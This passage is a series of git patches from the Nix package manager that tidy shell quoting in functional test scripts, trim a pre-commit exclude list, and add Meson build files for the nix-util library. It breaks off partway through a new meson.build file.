md5 "f78b733a68f5edbdf9413899339eaa4a" From 2d467b4731365065b22456066bcdf4cc1d548c13 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 13:33:59 -0700 Subject: [PATCH 0810/1251] housekeeping: shellcheck for tests/functional/import-derivation.sh --- tests/functional/import-derivation.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh index 53efa1f5d..96cc30646 100755 --- a/tests/functional/import-derivation.sh +++ b/tests/functional/import-derivation.sh @@ -11,4 +11,4 @@ fi outPath=$(nix-build ./import-derivation.nix --no-out-link) -[ "$(cat $outPath)" = FOO579 ] +[ "$(cat "$outPath")" = FOO579 ] From 1afac8fbbc49dabe793e5f6c62ffa6ee334a169e Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Tue, 4 Jun 2024 23:37:45 -0700 Subject: [PATCH 0811/1251] remove tests from pre-commit excludes --- maintainers/flake-module.nix | 38 ------------------------------------ 1 file changed, 38 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 261da1766..b1d21e8fe 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -507,49 +507,30 @@ ''^scripts/install-nix-from-closure\.sh$'' ''^scripts/install-systemd-multi-user\.sh$'' ''^src/nix/get-env\.sh$'' - ''^tests/functional/binary-cache-build-remote\.sh$'' - ''^tests/functional/binary-cache\.sh$'' - ''^tests/functional/brotli\.sh$'' - ''^tests/functional/build-delete\.sh$'' - ''^tests/functional/build-dry\.sh$'' ''^tests/functional/build\.sh$'' - ''^tests/functional/ca/build-cache\.sh$'' ''^tests/functional/ca/build-dry\.sh$'' ''^tests/functional/ca/build-with-garbage-path\.sh$'' - ''^tests/functional/ca/build\.sh$'' ''^tests/functional/ca/common\.sh$'' ''^tests/functional/ca/concurrent-builds\.sh$'' - ''^tests/functional/ca/derivation-json\.sh$'' - ''^tests/functional/ca/duplicate-realisation-in-closure\.sh$'' ''^tests/functional/ca/eval-store\.sh$'' ''^tests/functional/ca/gc\.sh$'' ''^tests/functional/ca/import-derivation\.sh$'' ''^tests/functional/ca/new-build-cmd\.sh$'' - ''^tests/functional/ca/nix-copy\.sh$'' - ''^tests/functional/ca/nix-run\.sh$'' ''^tests/functional/ca/nix-shell\.sh$'' ''^tests/functional/ca/post-hook\.sh$'' ''^tests/functional/ca/recursive\.sh$'' ''^tests/functional/ca/repl\.sh$'' ''^tests/functional/ca/selfref-gc\.sh$'' - ''^tests/functional/ca/signatures\.sh$'' - ''^tests/functional/ca/substitute\.sh$'' ''^tests/functional/ca/why-depends\.sh$'' - ''^tests/functional/case-hack\.sh$'' - ''^tests/functional/check-refs\.sh$'' - ''^tests/functional/check-reqs\.sh$'' ''^tests/functional/check\.sh$'' - ''^tests/functional/chroot-store\.sh$'' ''^tests/functional/common/vars-and-functions\.sh$'' ''^tests/functional/completions\.sh$'' - ''^tests/functional/compression-levels\.sh$'' ''^tests/functional/compute-levels\.sh$'' ''^tests/functional/config\.sh$'' ''^tests/functional/db-migration\.sh$'' ''^tests/functional/debugger\.sh$'' ''^tests/functional/dependencies\.builder0\.sh$'' ''^tests/functional/dependencies\.sh$'' - ''^tests/functional/derivation-json\.sh$'' ''^tests/functional/dump-db\.sh$'' ''^tests/functional/dyn-drv/build-built-drv\.sh$'' ''^tests/functional/dyn-drv/common\.sh$'' @@ -557,10 +538,8 @@ ''^tests/functional/dyn-drv/eval-outputOf\.sh$'' ''^tests/functional/dyn-drv/old-daemon-error-hack\.sh$'' ''^tests/functional/dyn-drv/recursive-mod-json\.sh$'' - ''^tests/functional/dyn-drv/text-hashed-output\.sh$'' ''^tests/functional/eval-store\.sh$'' ''^tests/functional/eval\.sh$'' - ''^tests/functional/experimental-features\.sh$'' ''^tests/functional/export-graph\.sh$'' ''^tests/functional/export\.sh$'' ''^tests/functional/extra-sandbox-profile\.sh$'' @@ -570,49 +549,32 @@ ''^tests/functional/fetchGitSubmodules\.sh$'' ''^tests/functional/fetchGitVerification\.sh$'' ''^tests/functional/fetchMercurial\.sh$'' - ''^tests/functional/fetchPath\.sh$'' - ''^tests/functional/fetchTree-file\.sh$'' ''^tests/functional/fetchurl\.sh$'' - ''^tests/functional/filter-source\.sh$'' ''^tests/functional/fixed\.builder1\.sh$'' ''^tests/functional/fixed\.builder2\.sh$'' ''^tests/functional/fixed\.sh$'' - ''^tests/functional/flakes/absolute-attr-paths\.sh$'' ''^tests/functional/flakes/absolute-paths\.sh$'' - ''^tests/functional/flakes/build-paths\.sh$'' - ''^tests/functional/flakes/bundle\.sh$'' ''^tests/functional/flakes/check\.sh$'' - ''^tests/functional/flakes/circular\.sh$'' ''^tests/functional/flakes/common\.sh$'' ''^tests/functional/flakes/config\.sh$'' ''^tests/functional/flakes/develop\.sh$'' - ''^tests/functional/flakes/flake-in-submodule\.sh$'' ''^tests/functional/flakes/flakes\.sh$'' ''^tests/functional/flakes/follow-paths\.sh$'' - ''^tests/functional/flakes/init\.sh$'' - ''^tests/functional/flakes/inputs\.sh$'' - ''^tests/functional/flakes/mercurial\.sh$'' ''^tests/functional/flakes/prefetch\.sh$'' ''^tests/functional/flakes/run\.sh$'' - ''^tests/functional/flakes/search-root\.sh$'' ''^tests/functional/flakes/show\.sh$'' - ''^tests/functional/flakes/unlocked-override\.sh$'' ''^tests/functional/fmt\.sh$'' ''^tests/functional/fmt\.simple\.sh$'' - ''^tests/functional/function-trace\.sh$'' ''^tests/functional/gc-auto\.sh$'' ''^tests/functional/gc-concurrent\.builder\.sh$'' ''^tests/functional/gc-concurrent\.sh$'' ''^tests/functional/gc-concurrent2\.builder\.sh$'' ''^tests/functional/gc-non-blocking\.sh$'' - ''^tests/functional/gc-runtime\.sh$'' ''^tests/functional/gc\.sh$'' ''^tests/functional/git-hashing/common\.sh$'' ''^tests/functional/git-hashing/simple\.sh$'' ''^tests/functional/hash-convert\.sh$'' - ''^tests/functional/hash-path\.sh$'' ''^tests/functional/help\.sh$'' - ''^tests/functional/import-derivation\.sh$'' ''^tests/functional/impure-derivations\.sh$'' ''^tests/functional/impure-env\.sh$'' ''^tests/functional/impure-eval\.sh$'' From d8ae28617db90fb500103fccb7df0b3499d22099 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 12:42:38 -0400 Subject: [PATCH 0812/1251] Try to fix quotes that don't go to end with sed --- tests/functional/ca/substitute.sh | 2 +- tests/functional/common/init.sh | 2 +- tests/functional/dependencies.sh | 2 +- tests/functional/fetchGitRefs.sh | 2 +- tests/functional/gc-concurrent.sh | 4 ++-- tests/functional/gc.sh | 6 +++--- tests/functional/local-overlay-store/gc-inner.sh | 6 +++--- tests/functional/multiple-outputs.sh | 2 +- tests/functional/readfile-context.sh | 2 +- tests/functional/referrers.sh | 2 +- tests/functional/simple.sh | 2 +- 11 files changed, 16 insertions(+), 16 deletions(-) diff --git a/tests/functional/ca/substitute.sh b/tests/functional/ca/substitute.sh index 76cedb4bc..9728470f0 100644 --- a/tests/functional/ca/substitute.sh +++ b/tests/functional/ca/substitute.sh @@ -7,7 +7,7 @@ source common.sh # shellcheck disable=SC1111 needLocalStore "“--no-require-sigs” can’t be used with the daemon" -rm -rf "$TEST_ROOT"/binary_cache +rm -rf "$TEST_ROOT/binary_cache" export REMOTE_STORE_DIR=$TEST_ROOT/binary_cache export REMOTE_STORE=file://$REMOTE_STORE_DIR diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index dda1ecd41..4f2a393af 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -13,7 +13,7 @@ mkdir "$TEST_HOME" mkdir "$NIX_STORE_DIR" mkdir "$NIX_LOCALSTATE_DIR" -mkdir -p "$NIX_LOG_DIR"/drvs +mkdir -p "$NIX_LOG_DIR/drvs" mkdir "$NIX_STATE_DIR" mkdir "$NIX_CONF_DIR" diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh index 5922a1f98..1b266935d 100755 --- a/tests/functional/dependencies.sh +++ b/tests/functional/dependencies.sh @@ -33,7 +33,7 @@ nix-store -q --tree "$outPath" | grep '───.*dependencies-input-2' echo "output path is $outPath" -text=$(cat "$outPath"/foobar) +text=$(cat "$outPath/foobar") if test "$text" != "FOOBAR"; then exit 1; fi deps=$(nix-store -quR "$drvPath") diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh index b17cc2090..9373146cd 100755 --- a/tests/functional/fetchGitRefs.sh +++ b/tests/functional/fetchGitRefs.sh @@ -14,7 +14,7 @@ git init "$repo" git -C "$repo" config user.email "foobar@example.com" git -C "$repo" config user.name "Foobar" -echo utrecht > "$repo"/hello +echo utrecht > "$repo/hello" git -C "$repo" add hello git -C "$repo" commit -m 'Bla1' diff --git a/tests/functional/gc-concurrent.sh b/tests/functional/gc-concurrent.sh index 67ea3dc74..128271287 100755 --- a/tests/functional/gc-concurrent.sh +++ b/tests/functional/gc-concurrent.sh @@ -20,8 +20,8 @@ outPath3=$(nix-store -r $drvPath3) touch $outPath3.lock rm -f "$NIX_STATE_DIR"/gcroots/foo* -ln -s $drvPath2 "$NIX_STATE_DIR"/gcroots/foo -ln -s $outPath3 "$NIX_STATE_DIR"/gcroots/foo2 +ln -s $drvPath2 "$NIX_STATE_DIR/gcroots/foo" +ln -s $outPath3 "$NIX_STATE_DIR/gcroots/foo2" # Start build #1 in the background. It starts immediately. nix-store -rvv "$drvPath1" & diff --git a/tests/functional/gc.sh b/tests/functional/gc.sh index 1f216ebc7..7594312bb 100755 --- a/tests/functional/gc.sh +++ b/tests/functional/gc.sh @@ -8,8 +8,8 @@ drvPath=$(nix-instantiate dependencies.nix) outPath=$(nix-store -rvv "$drvPath") # Set a GC root. -rm -f "$NIX_STATE_DIR"/gcroots/foo -ln -sf $outPath "$NIX_STATE_DIR"/gcroots/foo +rm -f "$NIX_STATE_DIR/gcroots/foo" +ln -sf $outPath "$NIX_STATE_DIR/gcroots/foo" [ "$(nix-store -q --roots $outPath)" = "$NIX_STATE_DIR/gcroots/foo -> $outPath" ] @@ -42,7 +42,7 @@ cat $outPath/reference-to-input-2/bar # Check that the derivation has been GC'd. if test -e $drvPath; then false; fi -rm "$NIX_STATE_DIR"/gcroots/foo +rm "$NIX_STATE_DIR/gcroots/foo" nix-collect-garbage diff --git a/tests/functional/local-overlay-store/gc-inner.sh b/tests/functional/local-overlay-store/gc-inner.sh index ea92154d2..687fed897 100644 --- a/tests/functional/local-overlay-store/gc-inner.sh +++ b/tests/functional/local-overlay-store/gc-inner.sh @@ -20,8 +20,8 @@ outPath=$(nix-build ../hermetic.nix --no-out-link --arg busybox "$busybox" --arg # Set a GC root. mkdir -p "$stateB" -rm -f "$stateB"/gcroots/foo -ln -sf $outPath "$stateB"/gcroots/foo +rm -f "$stateB/gcroots/foo" +ln -sf $outPath "$stateB/gcroots/foo" [ "$(nix-store -q --roots $outPath)" = "$stateB/gcroots/foo -> $outPath" ] @@ -46,7 +46,7 @@ nix-collect-garbage # Check that the root and its dependencies haven't been deleted. cat "$storeBRoot/$outPath" -rm "$stateB"/gcroots/foo +rm "$stateB/gcroots/foo" nix-collect-garbage diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh index af9f8af72..31ce2a3a4 100755 --- a/tests/functional/multiple-outputs.sh +++ b/tests/functional/multiple-outputs.sh @@ -35,7 +35,7 @@ outPath=$(nix-store -q $drvPath) echo "building b..." outPath=$(nix-build multiple-outputs.nix -A b --no-out-link) echo "output path is $outPath" -[ "$(cat "$outPath"/file)" = "success" ] +[ "$(cat "$outPath/file")" = "success" ] # Test nix-build on a derivation with multiple outputs. outPath1=$(nix-build multiple-outputs.nix -A a -o $TEST_ROOT/result) diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh index 76fad9349..d0644471d 100755 --- a/tests/functional/readfile-context.sh +++ b/tests/functional/readfile-context.sh @@ -7,7 +7,7 @@ clearStore outPath=$(nix-build --no-out-link readfile-context.nix) # Set a GC root. -ln -s $outPath "$NIX_STATE_DIR"/gcroots/foo +ln -s $outPath "$NIX_STATE_DIR/gcroots/foo" # Check that file exists. [ "$(cat $(cat $outPath))" = "Hello World!" ] diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh index 898032e42..0fda97378 100755 --- a/tests/functional/referrers.sh +++ b/tests/functional/referrers.sh @@ -31,7 +31,7 @@ echo "registering..." nix-store --register-validity < $TEST_ROOT/reg_info echo "collecting garbage..." -ln -sfn $reference "$NIX_STATE_DIR"/gcroots/ref +ln -sfn $reference "$NIX_STATE_DIR/gcroots/ref" nix-store --gc if [ -n "$(type -p sqlite3)" -a "$(sqlite3 $NIX_STATE_DIR/db/db.sqlite 'select count(*) from Refs')" -ne 0 ]; then diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh index 846738cbd..4e7d37f59 100755 --- a/tests/functional/simple.sh +++ b/tests/functional/simple.sh @@ -14,7 +14,7 @@ echo "output path is $outPath" (! [ -w $outPath ]) -text=$(cat "$outPath"/hello) +text=$(cat "$outPath/hello") if test "$text" != "Hello World!"; then exit 1; fi # Directed delete: $outPath is not reachable from a root, so it should From 33241887d1d30fb1d5b679162b3f26e67567d7fb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 12 Jun 2024 17:47:54 -0400 Subject: [PATCH 0813/1251] More quote coalescing --- tests/functional/flakes/init.sh | 4 ++-- tests/functional/flakes/mercurial.sh | 24 ++++++++++++------------ 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh index 6787b9e79..9e484f71c 100755 --- a/tests/functional/flakes/init.sh +++ b/tests/functional/flakes/init.sh @@ -8,8 +8,8 @@ templatesDir=$TEST_ROOT/templates flakeDir=$TEST_ROOT/flake nixpkgsDir=$TEST_ROOT/nixpkgs -nix registry add --registry "$registry" templates git+file://"$templatesDir" -nix registry add --registry "$registry" nixpkgs git+file://"$nixpkgsDir" +nix registry add --registry "$registry" templates "git+file://$templatesDir" +nix registry add --registry "$registry" nixpkgs "git+file://$nixpkgsDir" createGitRepo "$nixpkgsDir" createSimpleGitFlake "$nixpkgsDir" diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh index 1b095790b..b9045bf6b 100755 --- a/tests/functional/flakes/mercurial.sh +++ b/tests/functional/flakes/mercurial.sh @@ -9,7 +9,7 @@ mkdir -p "$flake1Dir" writeSimpleFlake "$flake1Dir" hg init "$flake1Dir" -nix registry add --registry "$registry" flake1 hg+file://"$flake1Dir" +nix registry add --registry "$registry" flake1 "hg+file://$flake1Dir" flake2Dir=$TEST_ROOT/flake-hg2 mkdir -p "$flake2Dir" @@ -22,24 +22,24 @@ hg commit --config ui.username=foobar@example.org "$flake1Dir" -m 'Initial commi hg add "$flake2Dir"/flake.nix hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Initial commit' -nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" +nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir" [[ -e $TEST_ROOT/result/hello ]] -(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision) +(! nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revision) -nix eval hg+file://"$flake2Dir"#expr +nix eval "hg+file://$flake2Dir"#expr -nix eval hg+file://"$flake2Dir"#expr +nix eval "hg+file://$flake2Dir"#expr -(! nix eval hg+file://"$flake2Dir"#expr --no-allow-dirty) +(! nix eval "hg+file://$flake2Dir"#expr --no-allow-dirty) -(! nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revision) +(! nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revision) hg commit --config ui.username=foobar@example.org "$flake2Dir" -m 'Add lock file' -nix flake metadata --json hg+file://"$flake2Dir" --refresh | jq -e -r .revision -nix flake metadata --json hg+file://"$flake2Dir" -[[ $(nix flake metadata --json hg+file://"$flake2Dir" | jq -e -r .revCount) = 1 ]] +nix flake metadata --json "hg+file://$flake2Dir" --refresh | jq -e -r .revision +nix flake metadata --json "hg+file://$flake2Dir" +[[ $(nix flake metadata --json "hg+file://$flake2Dir" | jq -e -r .revCount) = 1 ]] -nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-registries --no-allow-dirty -nix build -o "$TEST_ROOT/result" hg+file://"$flake2Dir" --no-use-registries --no-allow-dirty +nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir" --no-registries --no-allow-dirty +nix build -o "$TEST_ROOT/result" "hg+file://$flake2Dir" --no-use-registries --no-allow-dirty From 28d2af4ea69fbc7f1803de4a3ab1e6dd49dfe519 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 4 Jun 2024 09:28:27 -0400 Subject: [PATCH 0814/1251] Build `nix-util` with Meson MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The idea is two-fold: - Replace autotools with Meson - Build each library in its own derivation The interaction of these two features is that Meson's "subprojects" feature (https://mesonbuild.com/Subprojects) allows us to have single dev shell for building all libraries still, while also building things separately. This allows us to break up the build without a huge productivity lost. I tested the Linux native build, and NetBSD and Windows cross builds. Also do some clean ups of the Flake in the process of supporting new jobs. Special thanks to everyone that has worked on a Meson port so far, @p01arst0rm and @Qyriad in particular. Co-Authored-By: p01arst0rm Co-Authored-By: Artemis Tosini Co-Authored-By: Artemis Tosini Co-Authored-By: Felix Uhl Co-Authored-By: Jade Lovelace Co-Authored-By: Lunaphied Co-Authored-By: Maximilian Bosch Co-Authored-By: Pierre Bourdon Co-Authored-By: Qyriad Co-Authored-By: Rebecca Turner Co-Authored-By: Winter Co-Authored-By: eldritch horrors Co-Authored-By: jade Co-Authored-By: julia Co-Authored-By: rebecca “wiggles” turner Co-Authored-By: wiggles dog Co-Authored-By: fricklerhandwerk Co-authored-By: Eli Schwartz Co-authored-by: Robert Hensing --- .gitignore | 2 + flake.nix | 75 +++++--- {build => maintainers}/hydra.nix | 12 +- meson.build | 9 + package.nix | 3 +- src/libutil/.version | 1 + src/libutil/linux/meson.build | 11 ++ src/libutil/meson.build | 288 +++++++++++++++++++++++++++++++ src/libutil/meson.options | 5 + src/libutil/package.nix | 144 ++++++++++++++++ src/libutil/unix/meson.build | 17 ++ src/libutil/windows/meson.build | 19 ++ 12 files changed, 553 insertions(+), 33 deletions(-) rename {build => maintainers}/hydra.nix (93%) create mode 100644 meson.build create mode 120000 src/libutil/.version create mode 100644 src/libutil/linux/meson.build create mode 100644 src/libutil/meson.build create mode 100644 src/libutil/meson.options create mode 100644 src/libutil/package.nix create mode 100644 src/libutil/unix/meson.build create mode 100644 src/libutil/windows/meson.build diff --git a/.gitignore b/.gitignore index 28f853715..1bf540ba2 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,8 @@ perl/Makefile.config /svn-revision /libtool /config/config.* +# Default meson build dir +/build # /doc/manual/ /doc/manual/*.1 diff --git a/flake.nix b/flake.nix index 5dbc554fc..0e29c6e6f 100644 --- a/flake.nix +++ b/flake.nix @@ -160,21 +160,23 @@ }; }); - nix = - let - officialRelease = false; - versionSuffix = - if officialRelease - then "" - else "pre${builtins.substring 0 8 (self.lastModifiedDate or self.lastModified or "19700101")}_${self.shortRev or "dirty"}"; + nix-util = final.callPackage ./src/libutil/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + }; - in final.callPackage ./package.nix { + nix = + final.callPackage ./package.nix { inherit fileset stdenv + officialRelease versionSuffix ; - officialRelease = false; boehmgc = final.boehmgc-nix; libgit2 = final.libgit2-nix; libseccomp = final.libseccomp-nix; @@ -203,7 +205,7 @@ # 'nix.perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); - hydraJobs = import ./build/hydra.nix { + hydraJobs = import ./maintainers/hydra.nix { inherit inputs binaryTarball @@ -236,11 +238,29 @@ } // devFlake.checks.${system} or {} ); - packages = forAllSystems (system: rec { - inherit (nixpkgsFor.${system}.native) nix changelog-d; - default = nix; - } // (lib.optionalAttrs (builtins.elem system linux64BitSystems) { - nix-static = nixpkgsFor.${system}.static.nix; + packages = forAllSystems (system: { + inherit (nixpkgsFor.${system}.native) + changelog-d; + default = self.packages.${system}.nix; + } // lib.concatMapAttrs + (pkgName: {}: { + "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; + "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; + } // lib.concatMapAttrs + (crossSystem: {}: { + "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}; + }) + (lib.genAttrs crossSystems (_: { })) + // lib.concatMapAttrs + (stdenvName: {}: { + "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName}; + }) + (lib.genAttrs stdenvs (_: { }))) + { + "nix" = { }; + "nix-util" = { }; + } + // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = let pkgs = nixpkgsFor.${system}.native; @@ -255,18 +275,7 @@ ln -s ${image} $image echo "file binary-dist $image" >> $out/nix-support/hydra-build-products ''; - } // builtins.listToAttrs (map - (crossSystem: { - name = "nix-${crossSystem}"; - value = nixpkgsFor.${system}.cross.${crossSystem}.nix; - }) - crossSystems) - // builtins.listToAttrs (map - (stdenvName: { - name = "nix-${stdenvName}"; - value = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".nix; - }) - stdenvs))); + }); devShells = let makeShell = pkgs: stdenv: (pkgs.nix.override { inherit stdenv; forDevShell = true; }).overrideAttrs (attrs: @@ -274,6 +283,11 @@ modular = devFlake.getSystem stdenv.buildPlatform.system; in { pname = "shell-for-" + attrs.pname; + + # Remove the version suffix to avoid unnecessary attempts to substitute in nix develop + version = lib.fileContents ./.version; + name = attrs.pname; + installFlags = "sysconfdir=$(out)/etc"; shellHook = '' PATH=$prefix/bin:$PATH @@ -288,12 +302,19 @@ src = null; env = { + # Needed for Meson to find Boost. + # https://github.com/NixOS/nixpkgs/issues/86131. + BOOST_INCLUDEDIR = "${lib.getDev pkgs.boost}/include"; + BOOST_LIBRARYDIR = "${lib.getLib pkgs.boost}/lib"; # For `make format`, to work without installing pre-commit _NIX_PRE_COMMIT_HOOKS_CONFIG = "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}"; }; + inherit (pkgs.nix-util) mesonFlags; + nativeBuildInputs = attrs.nativeBuildInputs or [] + ++ pkgs.nix-util.nativeBuildInputs ++ [ modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" diff --git a/build/hydra.nix b/maintainers/hydra.nix similarity index 93% rename from build/hydra.nix rename to maintainers/hydra.nix index 857b7f1f0..2541b061e 100644 --- a/build/hydra.nix +++ b/maintainers/hydra.nix @@ -32,6 +32,8 @@ let doBuild = false; }; + + forAllPackages = lib.genAttrs [ "nix" "nix-util" ]; in { # Binary package for various platforms. @@ -39,10 +41,12 @@ in shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); - buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); + buildStatic = forAllPackages (pkgName: + lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.${pkgName})); - buildCross = forAllCrossSystems (crossSystem: - lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}")); + buildCross = forAllPackages (pkgName: + forAllCrossSystems (crossSystem: + lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}))); buildNoGc = forAllSystems (system: self.packages.${system}.nix.override { enableGC = false; } @@ -76,7 +80,7 @@ in binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system: forAllCrossSystems (crossSystem: binaryTarball - self.packages.${system}."nix-${crossSystem}" + nixpkgsFor.${system}.cross.${crossSystem}.nix nixpkgsFor.${system}.cross.${crossSystem})); # The first half of the installation script. This is uploaded diff --git a/meson.build b/meson.build new file mode 100644 index 000000000..fc6441877 --- /dev/null +++ b/meson.build @@ -0,0 +1,9 @@ +# This is just a stub project to include all the others as subprojects +# for development shell purposes + +project('nix-dev-shell', 'cpp', + version : files('.version'), + subproject_dir : 'src', +) + +subproject('libutil') diff --git a/package.nix b/package.nix index cf1654c6a..677ee73c7 100644 --- a/package.nix +++ b/package.nix @@ -385,8 +385,7 @@ in { separateDebugInfo = !stdenv.hostPlatform.isStatic; - # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated - # to work with `strictDeps`. + # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564 strictDeps = !withCoverageChecks; hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie"; diff --git a/src/libutil/.version b/src/libutil/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/libutil/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/libutil/linux/meson.build b/src/libutil/linux/meson.build new file mode 100644 index 000000000..a1ded76ca --- /dev/null +++ b/src/libutil/linux/meson.build @@ -0,0 +1,11 @@ +sources += files( + 'cgroup.cc', + 'namespaces.cc', +) + +include_dirs += include_directories('.') + +headers += files( + 'cgroup.hh', + 'namespaces.hh', +) diff --git a/src/libutil/meson.build b/src/libutil/meson.build new file mode 100644 index 000000000..8644c69f4 --- /dev/null +++ b/src/libutil/meson.build @@ -0,0 +1,288 @@ +project('nix-util', 'cpp', + version : run_command('cat', './.version', check : true).stdout().strip(), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 0.64.0', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +deps_private = [ ] +deps_public = [ ] +deps_other = [ ] + +configdata = configuration_data() + +# Check for each of these functions, and create a define like `#define HAVE_LUTIMES 1`. +check_funcs = [ + # Optionally used for changing the mtime of symlinks. + 'lutimes', + 'pipe2', + 'posix_fallocate', + 'strsignal', + 'sysconf', +] +foreach funcspec : check_funcs + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) +endforeach + +# Conditional to work around https://github.com/mesonbuild/meson/issues/13293 +if host_machine.system() != 'windows' and cxx.get_id() == 'gcc' + deps_private += dependency('threads') +endif + +if host_machine.system() == 'windows' + socket = cxx.find_library('ws2_32') + deps_other += socket +elif host_machine.system() == 'sunos' + socket = cxx.find_library('socket') + network_service_library = cxx.find_library('nsl') + deps_other += [socket, network_service_library] +endif + +boost = dependency( + 'boost', + modules : ['context', 'coroutine'], +) +# Actually public, but wrong type of dep for pkg config +deps_other += boost + +openssl = dependency( + 'libcrypto', + 'openssl', + version : '>= 1.1.1', +) +deps_private += openssl + +libarchive = dependency('libarchive', version : '>= 3.1.2') +deps_public += libarchive +if get_option('default_library') == 'static' + # Workaround until https://github.com/libarchive/libarchive/issues/1446 is fixed + add_project_arguments('-lz', language : 'cpp') +endif + +sodium = dependency('libsodium', 'sodium') +deps_private += sodium + +brotli = [ + dependency('libbrotlicommon'), + dependency('libbrotlidec'), + dependency('libbrotlienc'), +] +deps_private += brotli + +# cpuid only makes sense on x86_64 +cpuid_required = host_machine.cpu_family() == 'x86_64' ? get_option('cpuid') : false +cpuid = dependency('libcpuid', 'cpuid', required : cpuid_required) +configdata.set('HAVE_LIBCPUID', cpuid.found().to_int()) +deps_private += cpuid + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +config_util_h = configure_file( + configuration : configdata, + output : 'config-util.h', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.h', + '-Wno-deprecated-declarations', + '-Wimplicit-fallthrough', + '-Werror=switch', + '-Werror=switch-enum', + '-Wdeprecated-copy', + '-Wignored-qualifiers', + # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked + # at ~1% overhead in `nix search`. + # + # FIXME: remove when we get meson 1.4.0 which will default this to on for us: + # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions + '-D_GLIBCXX_ASSERTIONS=1', + language : 'cpp', +) + +sources = files( + 'archive.cc', + 'args.cc', + 'canon-path.cc', + 'compression.cc', + 'compute-levels.cc', + 'config.cc', + 'current-process.cc', + 'english.cc', + 'environment-variables.cc', + 'error.cc', + 'exit.cc', + 'experimental-features.cc', + 'file-content-address.cc', + 'file-descriptor.cc', + 'file-system.cc', + 'fs-sink.cc', + 'git.cc', + 'hash.cc', + 'hilite.cc', + 'json-utils.cc', + 'logging.cc', + 'memory-source-accessor.cc', + 'position.cc', + 'posix-source-accessor.cc', + 'references.cc', + 'serialise.cc', + 'signature/local-keys.cc', + 'signature/signer.cc', + 'source-accessor.cc', + 'source-path.cc', + 'suggestions.cc', + 'tarfile.cc', + 'terminal.cc', + 'thread-pool.cc', + 'unix-domain-socket.cc', + 'url.cc', + 'users.cc', + 'util.cc', + 'xml-writer.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_util_h] + files( + 'abstract-setting-to-json.hh', + 'ansicolor.hh', + 'archive.hh', + 'args.hh', + 'args/root.hh', + 'callback.hh', + 'canon-path.hh', + 'chunked-vector.hh', + 'closure.hh', + 'comparator.hh', + 'compression.hh', + 'compute-levels.hh', + 'config-impl.hh', + 'config.hh', + 'current-process.hh', + 'english.hh', + 'environment-variables.hh', + 'error.hh', + 